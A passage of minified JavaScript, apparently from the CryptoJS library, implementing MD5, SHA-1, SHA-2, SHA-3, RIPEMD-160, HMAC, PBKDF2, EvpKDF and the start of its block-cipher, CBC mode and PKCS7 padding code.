14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format 